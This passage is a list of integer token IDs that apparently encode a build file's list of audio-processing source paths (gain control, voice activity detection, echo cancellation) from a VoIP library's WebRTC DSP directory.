29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1639,
3733,
630,
29918,
29887,
475,
29918,
2764,
345,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
351,
29883,
29906,
29918,
9435,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
351,
29883,
29906,
29918,
13424,
29918,
9435,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
8513,
29918,
5563,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29887,
475,
29918,
932,
4926,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
25436,
29918,
1990,
3709,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
351,
29883,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
7501,
2410,
29918,
29887,
475,
29918,
932,
4926,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
2576,
1524,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29879,
1337,
362,
29918,
14676,
2801,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
8111,
29918,
7411,
29918,
2557,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
21494,
1705,
29918,
22100,
29918,
7564,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
16506,
29918,
9040,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29878,
15755,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29878,
15755,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
1688,
29918,
13239,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29886,
2335,
29918,
3888,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
22833,
29918,
690,
333,
950,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
5393,
29918,
9040,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29886,
2335,
29918,
4478,
29918,
7564,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
11967,
16414,
29918,
5344,
29918,
9040,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
21494,
1705,
29918,
22100,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
22100,
29918,
1062,
13857,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
9435,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
21494,
1705,
29918,
22100,
29918,
7564,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
600,
29873,
29918,
4422,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
21494,
1705,
29918,
22100,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29886,
2335,
29918,
4478,
29918,
7564,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29886,
2335,
29918,
4478,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
29886,
2335,
29918,
4478,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
22100,
29918,
1062,
13857,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
600,
29873,
29918,
4422,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29878,
15755,
29918,
29894,
328,
29914,
22833,
29918,
690,
333,
950,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
20227,
29918,
29887,
475,
29918,
8299,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
8513,
29918,
5563,
29918,
342,
326,
1061,
29918,
351,
29883,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
8111,
29918,
7411,
29918,
2557,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
3204,
29918,
13445,
20069,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1217,
895,
29918,
5563,
29918,
342,
326,
1061,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
351,
29883,
29906,
29918,
13424,
29918,
9435,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
20227,
29918,
7501,
2410,
29918,
5563,
29918,
342,
326,
1061,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
20227,
29918,
29887,
475,
29918,
8299,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29879,
1337,
362,
29918,
14676,
2801,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29894,
328,
29918,
2541,
29918,
5563,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
2576,
1524,
29918,
2585,
29918,
29887,
475,
29918,
2764,
345,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
351,
29883,
29906,
29918,
9435,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
8513,
29918,
5563,
29918,
342,
326,
1061,
29918,
351,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
7501,
2410,
29918,
29887,
475,
29918,
932,
4926,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29894,
328,
29918,
2541,
29918,
5563,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
2576,
1524,
29918,
2585,
29918,
29887,
475,
29918,
2764,
345,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
20227,
29918,
7501,
2410,
29918,
5563,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
351,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
29887,
475,
29918,
932,
4926,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
3204,
29918,
13445,
20069,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1217,
895,
29918,
5563,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
25436,
29918,
1990,
3709,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1217,
895,
29918,
21494,
5848,
29918,
342,
326,
1061,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
26017,
29918,
1639,
3733,
630,
29918,
29887,
475,
29918,
2764,
345,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
26017,
29918,
1639,
3733,
630,
29918,
29887,
475,
29918,
2764,
345,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
5365,
3425,
29918,
4572,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1217,
895,
29918,
21494,
5848,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
2576,
1524,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1114,
415,
573,
29918,
8513,
29918,
5563,
29918,
342,
326,
1061,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
13529,
292,
29918,
29885,
290,
1237,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
3286,
993,
29918,
4801,
3019,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
11912,
29881,
29918,
8336,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
3286,
993,
29918,
19303,
1253,
272,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
1388,
4003,
305,
583,
29918,
29947,
29918,
27766,
1026,
29918,
1111,
12352,
29879,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
9435,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
11912,
29881,
29918,
3177,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
13529,
292,
29918,
29885,
290,
1237,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
11912,
29881,
29918,
8336,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
11912,
29881,
29918,
3177,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
3286,
993,
29918,
19303,
1253,
272,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
3286,
993,
29918,
4801,
3019,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
3286,
993,
29914,
4518,
26538,
29918,
7099,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
677,
29918,
7582,
29918,
4572,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1217,
895,
29918,
19303,
23881,
29918,
13699,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
5563,
29918,
342,
326,
1061,
29918,
13699,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
17536,
29918,
4980,
29918,
4572,
29918,
9157,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
8057,
29918,
3068,
22603,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
690,
314,
20069,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
690,
314,
20069,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
8057,
29918,
3068,
22603,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
3221,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
3221,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
3221,
29918,
20640,
1891,
29918,
23515,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
3221,
29918,
29879,
344,
29906,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
9435,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
14917,
29918,
29881,
2650,
428,
29918,
13699,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
14917,
29918,
29881,
2650,
428,
29918,
13699,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
3068,
22603,
29918,
13699,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29887,
475,
29918,
6451,
29918,
1454,
29918,
735,
27910,
29918,
351,
29883,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29914,
351,
29883,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29914,
29880,
2736,
2264,
29918,
29882,
391,
13342,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29914,
351,
29883,
29918,
12847,
29918,
11851,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29914,
1397,
4135,
29914,
7054,
468,
29918,
351,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29914,
1397,
4135,
29914,
29887,
475,
29918,
6451,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29914,
1397,
4135,
29914,
7501,
2410,
29918,
351,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
